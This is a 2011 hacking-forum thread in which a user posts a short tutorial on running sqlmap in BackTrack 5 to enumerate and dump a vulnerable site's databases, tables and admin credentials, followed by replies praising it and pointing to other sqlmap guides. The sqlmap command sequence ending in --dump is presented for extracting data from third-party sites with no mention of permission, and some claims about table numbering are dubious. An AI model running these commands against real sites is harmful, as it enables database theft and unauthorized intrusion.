

Forum:[Hack Forums](#)

Thread: [Injection SQL with BackTrack 5 + Sql Maps](#)

B_r001access - September 24, 2011, 4:41 pm

Well, for this what you got to do is First Install Backtrack 5 , I had Put it on virtual Machine or you can Also dual Boot it,

For This tutorial I wont go on Extreme detail I will simply give out the command and all :D

Well Here my Backtrack on my virtual Machine

[img]http://screensnapr.com/v/PL2fwZ.jpg[/img]

Now go On Backtrack---Exploitation tool---web Exploitation tool-- sql maps

[img]http://screensnapr.com/v/LXM0wo.jpg[/img]

One you open it, you should a console Like this should open :

[img]http://screensnapr.com/v/YgUKK9.jpg[/img]

One thing you should Know that this program is being written In python Language ?

So here the Command :D

Quote:python sqlmap.py -u (pUT the site vulnerable link)

Quote:python sqlmap.py -u (the site link) --dbs

--dbs mean it will give u the whole site database :D

Quote:python sqlmap.py -u (The site) -D DATABASE --tables

--tables is the command and it will show you all the tables content of the site

Quote:python sqlmap.py -u (the site) -D DATABASE -T TABLES --columns

--columns will give u all columns in the site just like when we inject it Manually

Quote:python sqlmap.py -u (the site) -D DATABASE -T TABLES -C COLONNE--dump

--dump means it will remove all info out and you get Admin Info

Some specification :

When you enter the command dont use the Coma (,)

Sometime it may show you table Name 1 it a small trick when it 1 it mean Admin and other number

Up to 10 is Administrator

Here was a little tutorial about sql Injection it very easy and I dont think you will Have problem with it, as all command List are in the Tool Itself enjoy ?

Forc?d - September 24, 2011, 4:44 pm

Thanks! Really useful!The HF community needs more tutorial based on Linux OS's :) And especial BK , as it is a powerful tool!

B_r001access - September 24, 2011, 4:54 pm

(Sep 24, 2011 04:44 PM)ratboot Wrote: [\[CITE\]](#) Thanks! Really useful!The HF community needs more tutorial based on Linux OS's :) And especial BK , as it is a powerful tool!

Thanks man more to come soon .?

BradRDAnews420 - September 24, 2011, 4:54 pm

Nice tutorial man!

Really useful and informative!

+rep :)

Yours,
Brad

B_r001access - September 24, 2011, 5:04 pm

(Sep 24, 2011 04:54 PM)bradandrews4 Wrote: [\[CITE\]](#) Nice tutorial man!

Really useful and informative!

+rep :)

Yours,
Brad

Thanks man, i will Receive some dvd on Backtrack 5 soon and will start sharing :D

cyclone9276 - September 24, 2011, 5:37 pm

Thanks bro, for this tutorial...Very good to know

B_r001access - September 24, 2011, 5:44 pm

(Sep 24, 2011 05:37 PM)cyclone9276 Wrote: [\[CITE\]](#) Thanks bro, for this tutorial...Very good to know
Glad you like it, More to come soon man :D

-S0uRc3- - September 25, 2011, 1:04 am

thanks a lot mate,backtrack for ever :D

madhanmech - September 25, 2011, 1:13 am

very useful thread thanks a lot mate....

B_r001access - September 25, 2011, 10:19 pm

(Sep 25, 2011 01:13 AM)madhanmech Wrote: [\[CITE\]](#) very useful thread thanks a lot mate....

Thanks u glad you Like it :D ?

bimbo1 - September 25, 2011, 10:46 pm

very nice and deatil tut mate thanks alot

Hooded Robin - September 26, 2011, 7:42 am

You Fail - Your pics are already gone and the tutorial is not that great. I already did one that is much more detailed and applies to either Windows or Linux since SQLMAP is a python tool (cross platform). If your interested you can check them all out here:

SQLMAP Basic Tutorial: <https://hackforums.net/showthread.php?tid=1251146>

Video: <https://hackforums.net/showthread.php?tid=1402691>

SQLMAP Tips & Tricks: <https://hackforums.net/showthread.php?tid=1270466>

SQLMAP and Metasploit in BT5: <https://hackforums.net/showthread.php?tid=1300361>

SQLMAP+Burpsuite for POST INjections: <https://hackforums.net/showthread.php?tid=1279189>

Please use the search next time and come up with something original and take the time to make it as HQ as you can.

B_r001access - September 26, 2011, 8:17 am

(Sep 26, 2011 07:42 AM)Hooded Robin Wrote: [\[CITE\]](#) You Fail - Your pics are already gone and the tutorial is not that great. I already did one that is much more detailed and applies to either Windows or Linux since SQLMAP is a python tool (cross platform). If your interested you can check them all out here:

SQLMAP Basic Tutorial: <https://hackforums.net/showthread.php?tid=1251146>

Video: <https://hackforums.net/showthread.php?tid=1402691>

SQLMAP Tips & Tricks: <https://hackforums.net/showthread.php?tid=1270466>

SQLMAP and Metasploit in BT5: <https://hackforums.net/showthread.php?tid=1300361>

SQLMAP+Burpsuite for POST INjections: <https://hackforums.net/showthread.php?tid=1279189>

Please use the search next time and come up with something original and take the time to make it as HQ as you can.

I Was just trying to help?

Hooded Robin - September 26, 2011, 8:26 am

I will give you that much sorry for being a jerk, but next time put a little more time into it and keep it HQ. Also find another image host ;)

Valour - September 26, 2011, 11:13 am

To the point tutorial . Nice work mate.. BTW, if you are planning to install BT as ur OS, then forget it as its nothing more than kernel bloat.. Instead use some lightweight distros like Crunchbang or Arch which function better and faster :)

Spark! - September 26, 2011, 11:21 am

You don't need BackTrack though, SQLmap can be used on any system. I even use it on my iPhone.

jaswant.jasonx - September 28, 2011, 5:09 am

can you repost the images again ... they are not visible now. ????

Mr.Oug - September 28, 2011, 5:37 am

Nice tutorial man thanks for this awesome shit

Anonymous Nepal - *March 5, 2012, 1:06 pm*

thats really good tutorial man now i can make my own tutorial ..
thanks a lot man..

master_yugi - *March 5, 2012, 2:16 pm*

Thank You for the tutorial, it was helpful.